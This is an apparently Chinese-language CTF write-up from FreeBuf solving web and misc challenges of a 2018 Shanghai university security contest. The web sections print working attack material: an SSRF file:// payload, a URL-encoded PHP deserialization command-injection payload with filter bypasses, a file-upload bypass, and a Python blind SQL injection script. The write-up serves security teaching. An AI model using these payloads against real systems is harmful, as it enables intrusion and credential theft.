freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

第四届上海市大学生网络安全大赛web+misc题解
FreeBuf_314764 2018-11-05 20:40:15 316307

WEB

web1

查看robots.txt得知flag.php和source.php访问source.php需要以管理员登录

POST数据admin=11.png需要伪造IP为127.0.0.1

多番尝试后发现可以用x-client-ip绕过

添加http头x-client-ip:127.0.0.1

2.pngPOST数据url=http://www.ichunqiu.com

3.png

得到一个图片地址将图片数据下载下来后发现是www.ichunqiu.com网站首页源码。

显然是ssrf。

那么接下来就要构造url读取其他文件。

利用file://协议读取本地文件绕过检测最终得到payload

url=file://www.ichunqiu.com//var/www/html/flag.php

image.png

将JPG文件下载然后查看内容

image.png

web2

一道反序列化题目.index.php.swp发现源码

vim -r index.php

恢复源码

<?php
error_reporting(0);
class come{    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }           
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

}

$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
        if($i===1)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}
if($first==="doller")
{
    @parse_str($_GET['a']);
    if($var==="give")
    {
        if($bbb==="me")
        {
            if($ccc==="flag")
            {
                echo "<br>welcome!<br>";
                $come=@$_POST['come'];
                unserialize($come); 
            }
        }
        else
        {echo "<br>think about it<br>";}
    }
    else
    {
        echo "NO";
    }

}
else
{
    echo "Can you hack me?<br>";
}

?>

很明显的反序列化首先简单的构造打出welcome回显进入POST语句

image.png然后构造反序列化

image.png然后上传

image.png成功执行命令。获取flag的过程中发现空格被bypass了这里用$IFS绕过双写flag绕过过滤最终payload

image.png

O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A18%3A%22%60cat%24IFS%2Fflaflagg%60%22%3B%7D%7D

web3

直接给了源码
<?php
    //error_reporting(0);
    //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
    $dir=md5("icq");
    $sandbox = '/var/sandbox/' . $dir;
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name']){
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1]){
            die("emmmm...");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hehe'];
        if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
            include($_);
        }
        unlink($new_name);
    }
    else{
        highlight_file(__FILE__);
    }

首先要绕过

end($filename)==$filename[count($filename) - 1]

前者是数组里最后一个元素后者取根据数组下标来取的值。所以我们只需要让下标等于count($filename) - 1的元素不是数组最后一个元素即可。例如

[1=>'123', 5=>'php']

此时

end($filename)='php'
count($filename)-1=1  ,$filename[1]=NULL

即可绕过检测构造表单上传

image.png没有打印 ‘emmmm’

成功绕过然后是要将上传的文件重新命名

$new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);

$ext即为上传的file[2]内容接下来他会进行判断然后进行包含。

if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
            include($_);
        }

这里都很好处理最后有个unlink函数会删除上传的文件我们用 123.php/.进行绕过。最终上传文件

image.png此时已经在沙盒内生成一个XXX.123的文件。接下来爆破文件

image.png对XXX进行爆破爆破到文件名为100.123执行命令拿flag

image.png

web4

注入得到密码

在id先进行注入

1' and 1=1%23

成功闭合发现过滤了 information_schema.卡在这里很久最后才找到方法绕过

information_schema . tables

本地测试发现空格可以绕过这样的检测

image.png其中还过滤了fromlimit等关键词最终构造语句

1' and (ascii(substr((SELECT GROUP_CONCAT(table_name) FROM information_schema . tables WHERE table_schema=database()),1,1))=1)%23

盲注脚本

# encoding=utf-8
import requests
import string
url='http://495461f9167c4156a993dfa226d99f944a9e804913c04884.game.ichunqiu.com/select_guest.php?id='
flag=''
for i in range(1,100):
    for j in range(33,127):
        #payload="1' and (ascii(substr((SELECT GROUP_CONCAT(table_name) FROM information_schema . tables WHERE table_schema=database()),%d,1))=%d)%%23&Submit=Select+Guest"%(i,j)
        #payload="1' and (ascii(substr((SELECT GROUP_CONCAT(column_name) FROM information_schema . columns WHERE table_schema=database() and table_name='user'),%d,1))=%d)%%23&Submit=Select+Guest"%(i,j)
        payload="1' and (ascii(substr((SELECT GROUP_CONCAT(password) FROM user),%d,1))=%d)%%23&Submit=Select+Guest"%(i,j)
        url1=url+payload
        r=requests.get(url=url1)
        if '10.10.1.1' in r.content:
            flag=flag+chr(j)
            print flag
            break

得到管理员密码的MD5值然后去网站解密得到管理员密码adminpassword

上传截断

登陆进去后发现一个上传页面随手尝试一下。

image.png尝试大写小bypass得到提示please upload to ./flag.php

那么就要构造路径为./flag.php

发现下面有个hidden的参数uploaddir

我们可以通过拼接uploaddir和filename的方式构造php

image.png成功构造flag.php但是自动加上的后缀txt有点无解

这时候就想到00截断

image.png失败了。。这时候就卡了很久最后发现02可以截断

image.png拿到flag

misc

92

拿到一个txt文件观察发现文件第一行末是一个倒置PNG头文件最后一行是一个word文件头。

image.png

image.png

随即经过两种方式的倒序得到一个加密的word文件和一个PNG图片

image.png扫描二维码得到>:2?kEaX

根据题目名字92尝试base92解密得到 Passwd

作为密码打开word文档移开二维码发现了隐藏信息

image.png

通过扫描二维码得到一部分flag又在"文档隐藏"上方发现一部分flag。

最后通过提示imag steganography找到steganography工具。

从"YOU ARE ALIVE"图片中找到一段flag。拼接成完整的flag。

nofind

打开流量包一波观察后在tcp流中发现上传了一个压缩包

image.png通过导出http对象拿到文件 example1(1).php

Binwalk -e 分离出一个图片

image.pngimage.png

尝试各种隐写解密都没用。主办方提示openpuff。

找到软件后发现需要三个密码根据图片中的ct??????猜想密码可能为这8位字符串。需要我们找到??????的值。

再回到导出http对象中发现了三个奇怪的crc32值

image.png

利用crc32爆破脚本尝试进行6字节的crc32爆破。

image.png如上分别对三个CRC32值爆破。

又有提示爆破结果包含f。

最终得到3个值 

ct93fjhl

ctmbof3k

ctv4gfx1

作为三个密钥输入openpuff中解得flag。

# web安全 # misc
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_314764 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_314764 LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者
文章目录